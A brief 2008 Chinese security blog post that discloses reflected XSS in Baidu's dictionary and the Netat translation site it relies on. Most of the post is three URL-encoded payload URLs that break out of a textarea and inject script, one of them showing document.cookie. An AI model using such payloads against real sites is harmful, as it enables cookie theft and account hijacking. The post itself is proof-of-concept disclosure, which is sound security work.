首页 > 网络安全 > baidu and netat dict XSS

baidu and netat dict XSS

2008年10月17日 发表评论 阅读评论

百度词典:http://dict.baidu.com/
刚开始我没注意地址栏,原来是用的金桥的编译功能。

http://baidu.netat.net/trans.php?sen=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%2Fby%2520woyigui%2F%29%3C%2Fscript%3E%3Ctextarea%3E

这样的话,我们来跨金桥主站的:

http://trans.netat.net/index.php?from_content=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%2Fby%2520woyigui%2F%29%3C%2Fscript%3E%3Ctextarea%3E
http://trans.netat.net/index.php?from_content=%3C%2Ftextarea%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E%3Ctextarea%3E


呵呵。成功!

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:baidu and netat dict XSS
本文地址:http://www.woyigui.cn/2008/10/17/baidu-netat-dict-xss/

分类: 网络安全 标签:
  1. 2008年10月17日09:05 | #1

    貌似都不关心这个…

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*